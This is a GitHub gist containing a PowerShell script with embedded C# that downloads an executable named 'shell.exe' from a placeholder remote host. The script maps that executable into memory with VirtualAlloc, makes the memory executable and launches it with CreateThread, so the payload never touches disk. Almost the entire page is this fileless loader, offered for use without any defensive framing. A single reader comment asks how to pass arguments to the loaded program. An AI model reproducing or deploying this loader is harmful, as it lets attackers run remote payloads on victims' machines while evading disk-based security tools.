Created
March 12, 2025 02:29
-
-
Save timsonner/42f839adc6fd7add548ee1a9fddd6f05 to your computer and use it in GitHub Desktop.
Load an executable into memory without touching disk using PowerShell to reflectively load a c# type
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Reflectively load a PE file | |
| $code = @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.IO; | |
| public class PELoader | |
| { | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern IntPtr GetCurrentProcess(); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | |
| [DllImport("kernel32.dll", CharSet = CharSet.Auto)] | |
| private static extern IntPtr GetModuleHandle(string lpModuleName); | |
| [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] | |
| private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
| // Constants | |
| private const uint MEM_COMMIT = 0x1000; | |
| private const uint MEM_RESERVE = 0x2000; | |
| private const uint PAGE_EXECUTE_READWRITE = 0x40; | |
| private const uint PAGE_READWRITE = 0x04; | |
| public static void LoadAndExecute(byte[] peBytes) | |
| { | |
| // Parse PE headers | |
| int e_lfanew = BitConverter.ToInt32(peBytes, 0x3C); | |
| ushort numberOfSections = BitConverter.ToUInt16(peBytes, e_lfanew + 6); | |
| ushort optionalHeaderSize = BitConverter.ToUInt16(peBytes, e_lfanew + 20); | |
| uint imageBase = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 28); | |
| uint sectionAlignment = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 32); | |
| uint fileAlignment = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 36); | |
| uint sizeOfImage = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 56); | |
| uint sizeOfHeaders = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 60); | |
| uint entryPoint = BitConverter.ToUInt32(peBytes, e_lfanew + 24 + 16); | |
| // Allocate memory for the image | |
| IntPtr codeBase = VirtualAlloc(IntPtr.Zero, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| // Copy headers | |
| Marshal.Copy(peBytes, 0, codeBase, (int)sizeOfHeaders); | |
| // Copy sections | |
| int sectionHeadersOffset = e_lfanew + 24 + optionalHeaderSize; | |
| for (int i = 0; i < numberOfSections; i++) | |
| { | |
| int sectionOffset = sectionHeadersOffset + (40 * i); | |
| uint virtualAddress = BitConverter.ToUInt32(peBytes, sectionOffset + 12); | |
| uint sizeOfRawData = BitConverter.ToUInt32(peBytes, sectionOffset + 16); | |
| uint pointerToRawData = BitConverter.ToUInt32(peBytes, sectionOffset + 20); | |
| if (sizeOfRawData > 0) | |
| { | |
| byte[] sectionData = new byte[sizeOfRawData]; | |
| Array.Copy(peBytes, pointerToRawData, sectionData, 0, sizeOfRawData); | |
| Marshal.Copy(sectionData, 0, new IntPtr(codeBase.ToInt64() + virtualAddress), (int)sizeOfRawData); | |
| } | |
| } | |
| // Set memory protections | |
| uint oldProtect; | |
| VirtualProtect(codeBase, sizeOfImage, PAGE_EXECUTE_READWRITE, out oldProtect); | |
| // Execute entry point | |
| IntPtr entryPointAddr = new IntPtr(codeBase.ToInt64() + entryPoint); | |
| uint threadId; | |
| IntPtr hThread = CreateThread(IntPtr.Zero, 0, entryPointAddr, IntPtr.Zero, 0, out threadId); | |
| // Wait for completion | |
| WaitForSingleObject(hThread, 0xFFFFFFFF); | |
| } | |
| } | |
| "@ | |
| # Add the C# type | |
| Add-Type -TypeDefinition $code | |
| # Download executable bytes | |
| $url = "http://x.x.x.x:XXXX/shell.exe" | |
| $exeBytes = (New-Object System.Net.WebClient).DownloadData($url) | |
| # Execute in memory | |
| try { | |
| [PELoader]::LoadAndExecute($exeBytes) | |
| } catch { | |
| Write-Host "Error executing in memory: $_" | |
| Write-Host $_.Exception.StackTrace | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Is there any way to pass arguments for the pe ?